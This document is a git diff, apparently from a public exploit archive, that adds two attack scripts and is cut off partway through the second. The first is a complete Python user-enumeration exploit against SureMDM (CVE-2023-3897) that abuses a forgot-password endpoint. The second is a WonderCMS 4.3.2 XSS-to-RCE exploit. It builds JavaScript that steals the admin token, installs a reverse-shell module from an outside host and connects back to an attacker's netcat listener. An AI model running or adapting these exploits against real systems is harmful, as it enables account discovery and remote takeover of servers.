diff --git a/exploits/multiple/webapps/51804.txt b/exploits/multiple/webapps/51804.txt new file mode 100644 index 000000000..7082f7345 --- /dev/null +++ b/exploits/multiple/webapps/51804.txt @@ -0,0 +1,55 @@ +# Exploit Title: SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration +# Date: 05/12/2023 +# Exploit Author: Jonas Benjamin Friedli +# Vendor Homepage: https://www.42gears.com/products/mobile-device-management/ +# Version: <= 6.31 +# Tested on: 6.31 +# CVE : CVE-2023-3897 + +import requests +import sys + +def print_help(): + print("Usage: python script.py [URL] [UserListFile]") + sys.exit(1) + + +def main(): + if len(sys.argv) != 3 or sys.argv[1] == '-h': + print_help() + + url, user_list_file = sys.argv[1], sys.argv[2] + + try: + with open(user_list_file, 'r') as file: + users = file.read().splitlines() + except FileNotFoundError: + print(f"User list file '{user_list_file}' not found.") + sys.exit(1) + + valid_users = [] + bypass_dir = "/ForgotPassword.aspx/ForgetPasswordRequest" + enumerate_txt = "This User ID/Email ID is not registered." + for index, user in enumerate(users): + progress = (index + 1) / len(users) * 100 + print(f"Processing {index + 1}/{len(users)} users ({progress:.2f}%)", end="\r") + + data = {"UserId": user} + response = requests.post( + f"{url}{bypass_dir}", + json=data, + headers={"Content-Type": "application/json; charset=utf-8"} + ) + + if response.status_code == 200: + response_data = response.json() + if enumerate_txt not in response_data.get('d', {}).get('message', ''): + valid_users.append(user) + + print("\nFinished processing users.") + print(f"Valid Users Found: {len(valid_users)}") + for user in valid_users: + print(user) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/multiple/webapps/51805.py b/exploits/multiple/webapps/51805.py new file mode 100755 index 000000000..eb7fac489 --- /dev/null +++ b/exploits/multiple/webapps/51805.py @@ -0,0 +1,57 @@ +# Author: prodigiousMind +# Exploit: Wondercms 4.3.2 XSS to RCE + + +import sys +import requests +import os +import bs4 + +if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252") +else: + data = ''' +var url = "'''+str(sys.argv[1])+'''"; +if (url.endsWith("/")) { + url = url.slice(0, -1); +} +var urlWithoutLog = url.split("/").slice(0, -1).join("/"); +var urlWithoutLogBase = new URL(urlWithoutLog).pathname; +var token = document.querySelectorAll('[name="token"]')[0].value; +var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token; +var xhr3 = new XMLHttpRequest(); +xhr3.withCredentials = true; +xhr3.open("GET", urlRev); +xhr3.send(); +xhr3.onload = function() { + if (xhr3.status == 200) { + var xhr4 = new XMLHttpRequest(); + xhr4.withCredentials = true; + xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php"); + xhr4.send(); + xhr4.onload = function() { + if (xhr4.status == 200) { + var ip = "'''+str(sys.argv[2])+'''"; + var port = "'''+str(sys.argv[3])+'''"; + var xhr5 = new XMLHttpRequest(); + xhr5.withCredentials = true; + xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port); + xhr5.send(); + + } + }; + } +}; +''' + try: + open("xss.js","w").write(data) + print("[+] xss.js is created") + print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3])) + print("----------------------------\n") + XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\">